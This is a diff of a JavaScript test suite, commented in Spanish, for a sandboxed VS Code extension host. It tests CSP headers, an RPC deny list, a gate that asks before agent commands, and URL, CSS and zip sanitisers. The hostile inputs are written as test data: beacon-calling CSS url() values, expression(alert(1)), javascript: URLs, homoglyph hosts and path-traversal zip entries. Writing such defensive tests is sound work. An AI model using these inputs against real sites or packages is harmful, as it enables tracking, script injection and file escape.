183+const co = commandsOf({ contributes: { commands: [{ command: 'a.b', title: 'B', category: 'A' }, { command: 'a.hidden', title: 'H' }, { command: 'bad cmd', title: 'x' }], menus: { commandPalette: [{ command: 'a.hidden', when: 'false' }], 'editor/context': [{ command: 'a.b', group: 'nav' }] } } });
184+ok('comandos: ocultos marcados, ids raros fuera, menú contextual', co.commands.length === 2 && co.commands.find(c => c.id === 'a.hidden').hidden && co.commands[0].contextGroup === 'nav');
185+
186+// ── 5. selectores y glob ──
187+ok('glob **/*.json', globMatch('**/*.json', '/a/b/c.json') && !globMatch('**/*.json', '/a/b/c.js'));
188+ok('glob {a,b} y [..]', globMatch('**/*.{ts,js}', '/x/y.ts') && globMatch('**/[a-c]x.md', '/q/bx.md') && !globMatch('**/[!a-c]x.md', '/q/bx.md'));
189+ok('glob * no cruza carpetas', !globMatch('/src/*.js', '/src/a/b.js') && globMatch('/src/*.js', '/src/b.js'));
190+const t0 = process.hrtime.bigint();
191+const evil = 'a'.repeat(400);
192+globMatch('*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*b', evil);
193+const ms = Number(process.hrtime.bigint() - t0) / 1e6;
194+ok('glob en tiempo lineal con un patrón patológico', ms < 1000);
195+const cs = compileSelector([{ language: 'javascript', scheme: 'file' }, { language: 'json', scheme: 'vscode-userdata' }, { scheme: 'untitled', pattern: '**/*.txt' }]);
196+ok('selector: esquemas file/untitled valen, otros no', cs.filters.length === 2 && Array.isArray(cs.monacoSelector) === false && cs.monacoSelector === '*');
197+ok('selector: patrón contra la ruta del proyecto', selectorMatches(cs.filters, 'notes/a.txt', 'plaintext') && !selectorMatches(cs.filters, 'notes/a.md', 'markdown') && selectorMatches(cs.filters, 'x.js', 'javascript'));
198+
199+// ── 6. cabeceras del recinto ──
200+const problems = checkHeaders();
201+ok('sandbox/x2: documentos y headers.json cuadran', problems.length === 0, problems.join('; '));
202+const spec = loadSpec();
203+const FETCH = ['default-src', 'script-src', 'worker-src', 'child-src', 'connect-src', 'img-src', 'font-src', 'style-src', 'media-src', 'object-src', 'manifest-src'];
204+const dev = originsFor('dev', { port: 1234 });
205+let noHost = true;
206+for (const name of Object.keys(spec.documents)) {
207+ for (const d of cspFor(name, dev).split(';').map(x => x.trim())) {
208+ const [dir, ...srcs] = d.split(/\s+/);
209+ if (FETCH.includes(dir) && srcs.some(src => /^(https?:|wss?:|\*|[a-z0-9.-]+\.[a-z]{2,})/i.test(src) || src === "'self'")) { noHost = false; console.log(' ✗', name, d); }
210+ }
211+}
212+ok('ninguna directiva de red nombra un host (ni \'self\')', noHost);
213+// producción: lo que pondrá nginx en x2.utopiaia.com
214+const prodO = originsFor('production');
215+const cspS = cspFor('sandbox.html', prodO), cspE = cspFor('exthost-iframe.html', prodO);
216+const uuid0 = '0123abcd-0123-4abc-8abc-0123456789ab';
217+ok('producción: el recinto solo enmarca su documento del host de extensiones, y solo Code enmarca el recinto',
218+ prodO.sandbox === 'https://x2.utopiaia.com' && / frame-src https:\/\/x2\.utopiaia\.com\/x2\/v1\/exthost-iframe\.html;/.test(cspS)
219+ && /frame-ancestors https:\/\/code\.elffuss\.com$/.test(cspS) && /frame-ancestors 'self' https:\/\/code\.elffuss\.com$/.test(cspE), cspS.slice(-160));
220+ok('producción: el host de extensiones solo con la consulta exacta, con x2.utopiaia.com como padre',
221+ queryAllowed('exthost-iframe.html', `?parentOrigin=${encodeURIComponent('https://x2.utopiaia.com')}&vscodeWebWorkerExtHostId=${uuid0}`, prodO)
222+ && !queryAllowed('exthost-iframe.html', `?parentOrigin=${encodeURIComponent('https://x2.utopiaiaXcom')}&vscodeWebWorkerExtHostId=${uuid0}`, prodO)
223+ && !queryAllowed('exthost-iframe.html', `?parentOrigin=${encodeURIComponent('https://code.elffuss.com')}&vscodeWebWorkerExtHostId=${uuid0}`, prodO));
224+ok('frame-ancestors del host de extensiones incluye \'self\' y Code', /frame-ancestors 'self' http:\/\/127\.0\.0\.1:1234/.test(cspFor('exthost-iframe.html', dev)));
225+ok('frame-src del recinto: solo su documento', /frame-src http:\/\/localhost:1234\/x2\/v1\/exthost-iframe\.html(;|$)/.test(cspFor('sandbox.html', dev)));
226+ok('meta CSP sin frame-ancestors', !/frame-ancestors/.test(expectedMeta('sandbox.html')));
227+ok('consulta exacta del host de extensiones', queryAllowed('exthost-iframe.html', `?parentOrigin=${encodeURIComponent(dev.sandbox)}&vscodeWebWorkerExtHostId=0d6f2c3a-1b2c-4d5e-8f90-123456789abc`, dev)
228+ && !queryAllowed('exthost-iframe.html', `?parentOrigin=${encodeURIComponent('https://evil.test')}&vscodeWebWorkerExtHostId=0d6f2c3a-1b2c-4d5e-8f90-123456789abc`, dev)
229+ && !queryAllowed('sandbox.html', '?x=1', dev) && queryAllowed('sandbox.html', '', dev));
230+ok('sin informes CSP (report-uri / report-to)', !Object.values(spec.documents).some(d => d.csp.some(x => /report-(uri|to)/.test(x))) && !('Reporting-Endpoints' in spec.common));
231+
232+// ── 7. manifiesto del bundle y dónde vive el recinto ──
233+const vm = JSON.parse(fs.readFileSync(path.join(REPO, 'web/js/ext2/vendor-manifest.json'), 'utf8'));
234+ok('vendor-manifest.json válido para la página', validManifest(vm) && vm.files.map(f => f.role).sort().join() === [...ROLES].sort().join());
235+ok('vendor-manifest.json dentro del presupuesto', vm.totalGz === vm.files.reduce((a, f) => a + f.gz, 0) && vm.totalGz <= vm.budgetGz);
236+ok('manifiesto con buildId de contenido', /^[0-9a-f]{16}$/.test(vm.buildId));
237+ok('manifiesto roto no pasa', !validManifest({ ...vm, files: vm.files.slice(1) }) && !validManifest({ ...vm, buildId: '../x' }));
238+ok('config: 127.0.0.1 → localhost del mismo puerto', sandboxOrigin({ hostname: '127.0.0.1', port: '8000', origin: 'http://127.0.0.1:8000' }) === 'http://localhost:8000');
239+ok('config: localhost y hosts desconocidos → nada', sandboxOrigin({ hostname: 'localhost', port: '8000', origin: 'http://localhost:8000' }) === null && sandboxOrigin({ hostname: 'evil.test', port: '', origin: 'https://evil.test' }) === null);
240+ok('config: producción → x2.utopiaia.com, otro sitio que code.elffuss.com', sandboxOrigin({ hostname: 'code.elffuss.com', port: '', origin: 'https://code.elffuss.com' }) === 'https://x2.utopiaia.com'
241+ && !sameSite('https://x2.utopiaia.com', 'https://code.elffuss.com'));
242+// el mismo origen en los dos sitios que lo nombran: config.js (la página) y headers.json (cabeceras y nginx)
243+ok('config: headers.json nombra el mismo recinto de producción que config.js, para cada origen de Code',
244+ !!spec.environments.production.sandbox && spec.environments.production.code.every(o => { const u = new URL(o); return sandboxOrigin({ hostname: u.hostname, port: u.port, origin: u.origin }) === spec.environments.production.sandbox; }),
245+ JSON.stringify(spec.environments.production));
246+ok('config: el dominio viejo de Code (code.elffuss.utopiaia.com, mismo sitio que el recinto) no tiene recinto',
247+ sandboxOrigin({ hostname: 'code.elffuss.utopiaia.com', port: '', origin: 'https://code.elffuss.utopiaia.com' }) === null
248+ && sandboxOrigin({ hostname: 'code.elffuss.utopiaia.com', port: '', origin: 'https://code.elffuss.utopiaia.com' }, { 'code.elffuss.utopiaia.com': 'https://x2.utopiaia.com' }) === null);
249+// el recinto tiene que ser OTRO SITIO: un subdominio del mismo dominio registrable (otro origen) no vale
250+const prod = { hostname: 'code.elffuss.com', port: '', origin: 'https://code.elffuss.com' };
251+ok('config: un recinto del mismo sitio que Code (x2.elffuss.com, también por http) se rechaza; otro dominio, no',
252+ sandboxOrigin(prod, { 'code.elffuss.com': 'https://x2.elffuss.com' }) === null && sandboxOrigin(prod, { 'code.elffuss.com': 'http://x2.elffuss.com' }) === null
253+ && sandboxOrigin(prod, { 'code.elffuss.com': 'https://elffuss.com' }) === null && sandboxOrigin(prod, { 'code.elffuss.com': 'https://x2.elffuss-usercontent.org' }) === 'https://x2.elffuss-usercontent.org');
254+ok('config: el sitio va por lo alto (nunca da por distintos dos del mismo dominio registrable)', siteOf('a.b.example.co.uk') === 'co.uk' && siteOf('127.0.0.1') === '127.0.0.1' && siteOf('localhost') === 'localhost'
255+ && sameSite('https://a.x.example', 'http://b.x.example') && !sameSite('https://a.x.example', 'https://b.example') && !sameSite('http://127.0.0.1:9', 'http://localhost:9') && sameSite('not a url', 'https://x.example'));
256+
257+// sandboxManifest vive en bridge.js, que importa módulos de navegador: se
258+// comprueba aparte con un import dinámico que no ejecuta nada de la página
259+const { sandboxManifest } = await import('../web/js/ext2/bridge.js');
260+const sm = sandboxManifest({ name: 'n', publisher: 'p', version: '1.0.0', main: './node.js', browser: './web.js', activationEvents: ['onCommand:x'], extensionDependencies: ['p.dep', 'p.missing'],
261+ contributes: { commands: [{ command: 'x', title: 'X' }], keybindings: [{ key: 'f9', command: 'x' }], menus: {}, themes: [{}], languages: [{ id: 'toml' }], configuration: { properties: {} }, views: {} } }, new Set(['p.dep']));
262+ok('manifiesto del recinto: sin main, atajos, menús, temas ni vistas', !('main' in sm) && Object.keys(sm.contributes).sort().join() === 'commands,configuration');
263+ok('manifiesto del recinto: dependencias solo instaladas, onLanguage de sus lenguajes', sm.extensionDependencies.join() === 'p.dep' && sm.activationEvents.includes('onLanguage:toml') && sm.activationEvents.includes('onCommand:x'));
264+
265+// ── 7b. cortafuegos de RPC: lista de llamadas permitidas ──
266+const { validAllowlist, allowedCalls } = await import('../web/js/ext2/bridge.js');
267+const rpcList = JSON.parse(fs.readFileSync(path.join(REPO, 'web/js/ext2/rpc-allowlist.json'), 'utf8'));
268+const surfaceSnap = JSON.parse(fs.readFileSync(path.join(HERE, 'x2-surface.json'), 'utf8'));
269+ok('rpc-allowlist.json válido', validAllowlist(rpcList));
270+const calls = allowedCalls(rpcList);
271+const outside = Object.entries(calls).flatMap(([a, ms]) => ms.filter(x => !(surfaceSnap.actors[a] || []).includes(x)).map(x => a + '.' + x));
272+ok('cada llamada permitida existe en la foto de la superficie (subconjunto)', outside.length === 0, outside.join(', '));
273+ok('solo métodos «$…»', Object.values(calls).flat().every(x => /^\$\w+$/.test(x)));
274+const classified = new Set([...Object.keys(rpcList.actors), ...rpcList.deniedActors]);
275+const unclassified = Object.keys(surfaceSnap.actors).filter(a => !classified.has(a));
276+ok('cada actor de la superficie está permitido o denegado (nada sin revisar)', unclassified.length === 0, unclassified.join(', '));
277+ok('ningún actor está a la vez permitido y denegado', rpcList.deniedActors.every(a => !(a in rpcList.actors)));
278+const MUST_DENY = ['MainThreadWebviews', 'MainThreadWebviewPanels', 'MainThreadWebviewViews', 'MainThreadCustomEditors', 'MainThreadEditorInsets', 'MainThreadTerminalService',
279+ 'MainThreadDebugService', 'MainThreadSCM', 'MainThreadTask', 'MainThreadAuthentication', 'MainThreadLanguageModels', 'MainThreadChatAgents2', 'MainThreadTunnelService',
280+ 'MainThreadNotebook', 'MainThreadNotebookKernels', 'MainThreadComments', 'MainThreadTimeline', 'MainThreadDownloadService', 'MainThreadManagedSockets', 'MainThreadUriOpeners'];
281+ok('denegados: webviews, terminal, depurador, SCM, tareas, autenticación, modelos, chat, túneles, notebooks, comentarios, línea de tiempo, descargas, sockets',
282+ MUST_DENY.every(a => rpcList.deniedActors.includes(a) && !(a in rpcList.actors)), MUST_DENY.filter(a => !rpcList.deniedActors.includes(a)).join(', '));
283+ok('de los denegados solo pasan las llamadas de arranque del propio host (hostSetup)', Object.keys(rpcList.hostSetup).every(a => rpcList.deniedActors.includes(a))
284+ && Object.values(rpcList.hostSetup).flat().every(x => /^\$(register|get)\w+$/.test(x)));
285+ok('ni guardar ni tocar el espacio de trabajo ni la red', !calls.MainThreadDocuments.includes('$trySaveDocument') && ['$save', '$saveAll', '$updateWorkspaceFolders', '$resolveProxy', '$loadCertificates'].every(x => !calls.MainThreadWorkspace.includes(x)));
286+ok('lista rota no pasa', !validAllowlist({ schema: 1, actors: { MainThreadX: ['dispose'] } }) && !validAllowlist({ schema: 1, actors: [] }) && !validAllowlist(null));
287+
288+// ── 7c. puertas: cómo se enseña una dirección, qué órdenes del agente preguntan ──
289+const gates = await import('../web/js/ext2/gates.js');
290+const RLO = String.fromCodePoint(0x202E), ZWSP = String.fromCodePoint(0x200B), BEL = String.fromCodePoint(7), A_CYR = String.fromCodePoint(0x430);
291+ok('dirección: los caracteres bidi y de control se ven', gates.visibleText('https://a.test/' + RLO + 'txt.exe') === 'https://a.test/<U+202E>txt.exe' && gates.visibleText('a' + ZWSP + 'b' + BEL) === 'a<U+200B>b<U+0007>');
292+const cyr = new URL('https://' + A_CYR + 'pple.com/').hostname; // «а» cirílica
293+ok('punycode → Unicode', gates.unicodeHost('xn--mnchen-3ya.de') === 'münchen.de' && gates.unicodeHost(cyr) === A_CYR + 'pple.com' && gates.unicodeHost('plain.test') === 'plain.test', cyr);
294+const d1 = gates.describeUrl('https://' + A_CYR + 'pple.com/login');
295+ok('describeUrl: host en punycode y en Unicode cuando difieren', d1.openable && d1.host === cyr && d1.hostUnicode === A_CYR + 'pple.com' && d1.href === `https://${cyr}/login`);
296+ok('describeUrl: solo http, https y mailto se pueden abrir', !gates.describeUrl('javascript:alert(1)').openable && !gates.describeUrl('command:workbench.action.reloadWindow').openable
297+ && gates.describeUrl('mailto:a@b.test').openable && gates.describeUrl('mailto:a@b.test').site === 'b.test' && !gates.describeUrl('no es una url').ok);
298+ok('agente: un runtime del Bridge en cualquier tramo de la orden pregunta', gates.runsRuntime('ls && node x.js') && gates.runsRuntime('cat a | python3 -') && gates.runsRuntime('echo a; npm i')
299+ && !gates.runsRuntime('ls -la; cat node.txt') && !gates.runsRuntime('echo "node; npm"'));
300+ok('agente: la búsqueda enseña las dos direcciones que puede pedir', gates.searchUrls('a b').length === 2 && gates.searchUrls('a b')[0] === 'https://html.duckduckgo.com/html/?q=a%20b');
301+const fakeTools = { 'web.fetch': { run: async a => 'fetched ' + a.url }, 'web.search': { run: async () => 'searched' }, 'terminal.run': { run: async a => 'ran ' + a.command } };
302+const asked = [];
303+const restore = gates.installAgentGate(fakeTools, { ask: async (kind, lines) => { asked.push([kind, lines]); return lines[0].includes('ok'); } });
304+const r1 = await fakeTools['web.fetch'].run({ url: 'https://x.test/no' }), r2 = await fakeTools['web.fetch'].run({ url: 'https://x.test/ok' });
305+const r3 = await fakeTools['terminal.run'].run({ command: 'ls' }), r4 = await fakeTools['terminal.run'].run({ command: 'npm test' });
306+restore();
307+const r5 = await fakeTools['web.fetch'].run({ url: 'https://x.test/no' });
308+ok('agente: denegar devuelve el aviso, permitir ejecuta; al quitar la puerta todo vuelve', r1 === gates.AGENT_DENIED && r2 === 'fetched https://x.test/ok' && r3 === 'ran ls' && r4 === gates.AGENT_DENIED
309+ && r5 === 'fetched https://x.test/no' && asked.length === 3, JSON.stringify({ r1, r2, r3, r4, r5, asked }));
310+
311+// ── 7d. decoraciones: lista blanca de CSS ──
312+const deco = await import('../web/js/ext2/decorations.js');
313+ok('colores válidos', ['#fff', '#ff000080', 'rgba(1, 2, 3, 0.5)', 'rgb(1 2 3 / 50%)', 'hsl(120deg 50% 50%)', 'Red', 'transparent'].every(c => deco.color(c))
314+ && deco.color({ themeColor: 'editorError.foreground' }) === 'var(--vscode-editorError-foreground)');
315+const HOSTILE_CSS = ['url(http://beacon.test/x)', 'red;background:url(http://beacon.test/x)', 'expression(alert(1))', 'var(--x)', 'red }', '#fff;', 'rgb(1,2,3);x:url(y)',
316+ 'image-set(url(a) 1x)', '\\75 rl(x)', 'attr(x)', 'calc(1px+2px)'];
317+ok('colores hostiles fuera', HOSTILE_CSS.every(c => deco.color(c) === null) && deco.color({ themeColor: 'a;b' }) === null);
318+ok('textDecoration: tokens conocidos sí, inyecciones no', deco.textDecoration('underline wavy red') === 'underline wavy red' && deco.textDecoration('line-through 2px') === 'line-through 2px'
319+ && deco.textDecoration('none; display: none') === null && deco.textDecoration('underline url(x)') === null);
320+ok('border: solo si se parte en anchura, estilo y color', deco.borderShorthand('1px solid red') === '1px solid red' && deco.borderShorthand('thin dashed #fff') === 'thin dashed #fff'
321+ && deco.borderShorthand('1px solid red; background:url(x)') === null && deco.borderShorthand('1px solid red red red') === null);
322+const dHostile = deco.declarations({ backgroundColor: 'url(http://beacon.test/a)', color: 'red', fontFamily: 'x', cursor: 'url(x), pointer', textDecoration: 'none;a:b', opacity: '0.5', letterSpacing: '1px' }, 'inline')
323+ + deco.declarations({ backgroundColor: 'url(http://beacon.test/a)', border: 'url(x)', borderRadius: '3px', outline: '1px solid blue' }, 'block');
324+ok('declaraciones: lo hostil no llega, lo válido sí', !/url|font-family|beacon|cursor|text-decoration/.test(dHostile) && /color: red;/.test(dHostile) && /opacity: 0\.5;/.test(dHostile)
325+ && /border-radius: 3px;/.test(dHostile) && /outline: 1px solid blue;/.test(dHostile), dHostile);
326+
327+// ── 7e. qué funcionará (classify.js) y ajustes ──
328+const cl = await import('../web/js/ext2/classify.js');
329+ok('engines.vscode contra 1.138.0', cl.engineOk('^1.80.0') && !cl.engineOk('^1.200.0') && cl.engineOk('>=1.0.0') && cl.engineOk('*') && !cl.engineOk('^2.0.0')
330+ && cl.engineOk('~1.138.0') && !cl.engineOk('~1.137.0') && cl.engineOk('1.90.x') && cl.engineOk(undefined));
331+const base2 = { name: 'w', publisher: 'p', version: '1.0.0', engines: { vscode: '^1.80.0' } };
332+const nodeOnly = cl.classify({ ...base2, main: './x.js', contributes: { commands: [{}] } });
333+ok('Node: no corre aquí y no «funciona»', nodeOnly.runtime === 'node' && !nodeOnly.works && !nodeOnly.eligible);
334+const webExt = cl.classify({ ...base2, browser: './w.js', contributes: { commands: [{}, {}], keybindings: [{}], configuration: { properties: { 'w.a': { type: 'boolean' } } }, views: { x: [{}] }, debuggers: [{}] } });
335+ok('web: corre, con sus comandos y ajustes, y dice lo que no saldrá', webExt.eligible && webExt.works && webExt.counts.commands === 2 && webExt.counts.keybindings === 1
336+ && webExt.counts.settings === 1 && webExt.unavailable.includes('views') && webExt.unavailable.includes('debuggers'));
337+ok('web que no puede correr: motor nuevo, solo eventos que nunca llegan', !cl.classify({ ...base2, browser: './w.js', engines: { vscode: '^1.200.0' } }).eligible
338+ && cl.classify({ ...base2, browser: './w.js', activationEvents: ['onView:x', 'workspaceContains:**/a'] }).startsNever && !cl.classify({ ...base2, browser: './w.js', activationEvents: ['onView:x'] }).eligible);
339+// las APIs propuestas son un aviso, no un veto (el censo vio arrancar a muchas que las declaran)
340+const prop = cl.classify({ ...base2, browser: './w.js', enabledApiProposals: ['x'] });
341+ok('APIs propuestas: puede correr, con un aviso', prop.eligible && prop.works && prop.warnings.includes('proposals') && !prop.reasons.includes('proposals'), JSON.stringify({ e: prop.eligible, w: prop.warnings, r: prop.reasons }));
342+const vivo = id => ({ results: { [id]: { state: 'active', commands: 1, providers: {} } } });
343+ok('lo que el censo vio arrancar puede correr aunque la regla estática dijera que no', cl.classify({ ...base2, browser: './w.js', activationEvents: ['onView:x'] }, { tested: vivo('p.w@1.0.0') }).eligible
344+ && cl.classify({ ...base2, browser: './w.js', engines: { vscode: '^1.200.0' } }, { tested: vivo('p.w@1.0.0') }).eligible);
345+// las mismas reglas que el «Aplica» del panel: un lenguaje de serie de Monaco no cuenta, ni la gramática de uno de serie sin Monarch
346+const monacoLangs = JSON.parse(fs.readFileSync(path.join(HERE, 'lib/monaco-languages.json'), 'utf8')).languages;
347+const deSerie = new Set(monacoLangs.map(l => l.id)), monarch = new Set(monacoLangs.filter(l => l.monarch).map(l => l.id));
348+const reglas = { builtinLanguage: id => deSerie.has(id), grammarSkippedFor: id => deSerie.has(id) && !monarch.has(id) };
349+ok('monaco-languages.json: la lista de serie de Monaco 0.52.2 (python, json…; json y plaintext sin Monarch)', monacoLangs.length > 50 && deSerie.has('python') && deSerie.has('json') && !monarch.has('json') && monarch.has('python'));
350+const pyrefly = cl.classify({ ...base2, main: './x.js', contributes: { languages: [{ id: 'python', extensions: ['.py'] }] } }, reglas);
351+ok('Node con solo un lenguaje de serie (como Pyrefly): nada se aplica, nada funciona', !pyrefly.hasDeclarative && !pyrefly.works && pyrefly.declarative.languages === 0, JSON.stringify(pyrefly.declarative));
352+const mezcla = cl.classify({ ...base2, browser: './w.js', contributes: { languages: [{ id: 'json' }, { id: 'graphql' }, { id: 'toml-x' }], grammars: [{ language: 'json', path: 'j' }, { language: 'python', path: 'p' }, { path: 'inj' }] } }, reglas);
353+ok('lenguajes y gramáticas: cuentan solo los que se aplicarían (como en el panel)', mezcla.declarative.languages === 1 && mezcla.declarative.grammars === 2, JSON.stringify(mezcla.declarative));
354+// donde el nivel 2 no puede arrancar (sitio, navegador), su código no cuenta como «funciona»
355+const aquiNo = cl.classify({ ...base2, browser: './w.js', contributes: { commands: [{}] } }, { canRun: false });
356+ok('donde el código no puede correr, una que solo trae código no «funciona» (el filtro la esconde)', aquiNo.eligible && !aquiNo.works
357+ && cl.classify({ ...base2, browser: './w.js', contributes: { themes: [{ path: 't' }] } }, { canRun: false }).works);
358+ok('lo declarativo cuenta como «funciona» aunque sea de Node', cl.classify({ ...base2, main: './x.js', contributes: { themes: [{ path: 't.json' }] } }).works);
359+ok('dependencias que faltan se dicen', cl.classify({ ...base2, browser: './w.js', extensionDependencies: ['a.b'] }, { installed: new Set() }).deps.missing.join() === 'a.b');
360+const tested = JSON.parse(fs.readFileSync(path.join(REPO, 'web/js/ext2/tested.json'), 'utf8'));
361+const pret = cl.classify({ name: 'prettier-vscode', publisher: 'esbenp', version: '12.4.0', browser: './dist/browser.js', engines: { vscode: '^1.80.0' } }, { tested });
362+ok('el resultado del censo se encuentra por id@versión', pret.census?.state === 'active' && !!pret.census.providers?.format);
363+const failedOne = Object.entries(tested.results).find(([, v]) => v.state === 'error');
364+const [fid, fver] = failedOne[0].split('@');
365+const fcls = cl.classify({ name: fid.split('.').slice(1).join('.'), publisher: fid.split('.')[0], version: fver, browser: './w.js' }, { tested });
366+ok('una que falló en el censo no se ofrece para ejecutar', !fcls.eligible && fcls.reasons.includes('census'), failedOne[0]);
367+const man = { contributes: { configuration: [{ properties: { 'p.semi': { type: 'boolean' }, 'p.width': { type: 'integer' }, 'p.mode': { type: 'string', enum: ['a', 'b'] }, 'p.any': {} } }] } };
368+const vs = (t) => cl.validateSettings(man, t);
369+ok('ajustes: los que declara, del tipo que dice', vs('{"p.semi": false, "p.width": 80, "p.mode": "b", "p.any": [1]}').ok && vs('').ok);
370+ok('ajustes: desconocidos, de otro tipo, fuera de la lista, JSON roto y no-objeto, rechazados',
371+ vs('{"p.nope": 1}').errors[0].code === 'unknown' && vs('{"p.semi": "no"}').errors[0].code === 'type' && vs('{"p.width": 1.5}').errors[0].code === 'type'
372+ && vs('{"p.mode": "c"}').errors[0].code === 'enum' && vs('{').errors[0].code === 'json' && vs('[1]').errors[0].code === 'object' && vs('{"__proto__": {"x": 1}}').ok === false);
373+
374+// ── 8. ningún fichero del nivel 2 lleva rutas de máquina ──
375+// ── textos: los del nivel 2 en js/ext2/strings.js, los del panel en js/ext/i18n.js ──
376+const { STRINGS } = await import('../web/js/ext/i18n.js');
377+const { STRINGS2 } = await import('../web/js/ext2/strings.js');
378+const sameKeys = t => JSON.stringify(Object.keys(t.es).sort()) === JSON.stringify(Object.keys(t.en).sort());
379+ok('textos del nivel 2: ES y EN con las mismas claves', sameKeys(STRINGS2), Object.keys(STRINGS2.en).filter(k => !(k in STRINGS2.es)).join(' '));
380+ok('textos del nivel 2: ninguno vacío ni con {var} sin cerrar', ['es', 'en'].every(l => Object.values(STRINGS2[l]).every(v => typeof v === 'string' && v.trim() && !/\{[^}]*$/.test(v))));
381+// toda clave literal tx('…') de los módulos que la usan existe en algún idioma
382+const usados = [];
383+for (const f of [...fs.readdirSync(path.join(REPO, 'web/js/ext2')).filter(f => f.endsWith('.js')).map(f => 'web/js/ext2/' + f), 'web/js/ext/panel.js', 'web/js/ext/host.js']) {
384+ for (const m of fs.readFileSync(path.join(REPO, f), 'utf8').matchAll(/\btx\(\s*'([A-Za-z0-9_]+)'\s*[,)]/g)) usados.push([f, m[1]]);
385+}
386+const faltan = usados.filter(([, k]) => !(k in STRINGS.en)).map(([f, k]) => `${path.basename(f)}:${k}`);
387+ok(`cada tx('…') literal tiene su texto (${usados.length} usos)`, usados.length > 100 && !faltan.length, faltan.slice(0, 6).join(' '));
388+// (y las que se arman: la razón del recinto, el error de un ajuste, la parte de VS Code que no saldrá)
389+const prefijos = {
390+ x2Unavail_: ['site', 'browser', 'off', 'url', 'manifest'],
391+ x2Err_: ['network', 'integrity', 'timeout', 'editor', 'violations', 'fatal', 'navigated', 'csp', 'other'],
392+ keySkip_: ['reserved', 'invalid', 'platform', 'chords', 'unknown'],
393+ set_: ['json', 'object', 'unknown', 'type', 'enum', 'big'],
394+ wb_: ['views', 'custom_editors', 'notebooks', 'walkthroughs', 'debugger', 'terminal', 'tasks', 'sign_in', 'chat', 'MCP_servers', 'file_labels', 'menus', 'status_bar', 'remote', 'TypeScript_plugins', 'other'],
395+};
396+ok('las familias de claves que se arman en tiempo de ejecución están completas', Object.entries(prefijos).every(([p, xs]) => xs.every(x => (p + x) in STRINGS.en && (p + x) in STRINGS.es)));
397+// los fallos del recinto se dicen en el idioma de la interfaz (sus mensajes técnicos, en español o inglés, no salen)
398+const mg = await import('../web/js/ext2/manage.js');
399+const integ = mg.runtimeErrorText({ code: 'integrity', message: 'sandbox-main.js: no se pudo bajar o no coincide con su SRI', file: 'sandbox-main.js' });
400+ok('fallos del recinto: un texto por código, sin el mensaje técnico', integ === 'the sandbox is not running: one of its files does not match its checksum (sandbox-main.js), so nothing was started'
401+ && mg.runtimeErrorText({ code: 'site' }) === STRINGS.en.x2Unavail_site && mg.runtimeErrorText({ code: 'x2-browser' }) === STRINGS.en.x2Unavail_browser
402+ && mg.runtimeErrorText({ code: 'disabled' }) === STRINGS.en.x2Unavail_off && /something went wrong \(weird\)/.test(mg.runtimeErrorText({ code: 'weird', message: 'raro' }))
403+ && mg.isRuntimeError({ code: 'timeout' }) && !mg.isRuntimeError({ code: 'missing' }), integ);
404+
405+// ── host2.js: el código del paquete, sin salir de él ──
406+const { zip } = await import('./ext_fixtures.mjs');
407+const h2 = await import('../web/js/ext2/host2.js');
408+const paquete = zip([
409+ ['extension/package.json', '{"name":"e","publisher":"p","version":"1.0.0","browser":"./dist/web"}'],
410+ ['extension/dist/web.js', 'exports.activate = () => {};'],
411+ ['extension/dist/web.js.map', '{}'],
412+ ['extension/node_modules/x/index.js', 'x'],
413+ ['extension/../escape.js', 'no'],
414+ ['extension//abs.js', 'no'],
415+ ['extension/./dot.js', 'no'],
416+ ['other/outside.js', 'no'],
417+]);
418+const raw = await h2.readVsixRaw(paquete);
419+const names = [...raw.files.keys()].sort();
420+ok('readVsixRaw: solo lo de extension/, sin node_modules, sin .map y sin rutas que salgan del paquete', JSON.stringify(names) === JSON.stringify(['dist/web.js', 'package.json']), names.join(' '));
421+ok('readVsixRaw: cuenta lo descomprimido', raw.bytes === [...raw.files.values()].reduce((n, b) => n + b.length, 0));
422+let big = null;
423+try { await h2.readVsixRaw(zip([['extension/a.js', 'x'.repeat(2048)]]), { maxEntry: 1024 }); } catch (e) { big = e; }
424+ok('readVsixRaw: un fichero por encima del tope se rechaza', !!big, String(big?.message));
425+ok('browserEntry: «./dist/web» → dist/web.js; ausente → null', h2.browserEntry({ browser: './dist/web' }, raw.files) === 'dist/web.js'
426+ && h2.browserEntry({ browser: './dist/missing' }, raw.files) === null && h2.browserEntry({}, raw.files) === null);
427+
428+// ── el censo que se publica (web/js/ext2/tested.json) ──
429+const results = Object.entries(tested.results);
430+const by = st => results.filter(([, v]) => v.state === st).length;
431+ok('censo: cada entrada es id@versión en minúsculas, con su estado', results.length === tested.counts.browserEntry && results.every(([k, v]) => /^[a-z0-9-]+\.[a-z0-9._-]+@[\w.+-]+$/.test(k) && typeof v.state === 'string'), String(results.length));
432+ok('censo: los recuentos cuadran con las entradas y la baliza a 0', tested.counts.active === by('active') && tested.counts.error === by('error') && tested.counts.beaconHits === 0
433+ && tested.counts.installFailed === by('install-failed'), JSON.stringify(tested.counts));
434+ok('censo: sin tiempos', !JSON.stringify(tested).match(/"(ms|millis|seconds|duration|elapsed|time)[A-Za-z]*"\s*:/i));
435+// ninguna que el censo vio arrancar se dice «no puede correr» ni la esconde el filtro
436+const activas = results.filter(([, v]) => v.state === 'active');
437+const mal = activas.filter(([k, v]) => {
438+ const [id, version] = k.split('@');
439+ const [publisher, ...rest] = id.split('.');
440+ const c = cl.classify({ name: rest.join('.'), publisher, version, browser: './web.js', ...(v.apiProposals ? { enabledApiProposals: Array.from({ length: v.apiProposals }, (_, i) => 'p' + i) } : {}),
441+ activationEvents: ['onView:x'], engines: { vscode: '^1.999.0' } }, { tested });
442+ return !c.eligible || !c.works;
443+}).map(([k]) => k);
444+ok(`censo: las ${activas.length} que arrancaron pueden correr y el filtro las enseña, aunque declaren APIs propuestas`, activas.length > 30 && !mal.length, mal.join(' '));
445+// …y con sus manifiestos de verdad, si están en tests/.cache/census (los guarda x2_census)
446+const cacheDir = path.join(HERE, '.cache/census');
447+const reales = activas.map(([k]) => {
448+ const id = k.split('@')[0];
449+ const f = fs.existsSync(cacheDir) ? fs.readdirSync(cacheDir).find(x => x.toLowerCase() === id + '.json') : null;
450+ const c = f ? JSON.parse(fs.readFileSync(path.join(cacheDir, f), 'utf8')) : null;
451+ return c?.manifest && c.version === k.split('@')[1] ? [k, c.manifest] : null;
452+}).filter(Boolean);
453+if (!reales.length) console.log('⏭️ NOT RUN (part) — the census manifests are not in tests/.cache/census; the check above used the census entries');
454+else {
455+ const malR = reales.filter(([, m]) => { const c = cl.classify(m, { tested, ...reglas }); return !c.eligible || !c.works || c.reasons.some(r => r !== 'deps'); }).map(([k]) => k);
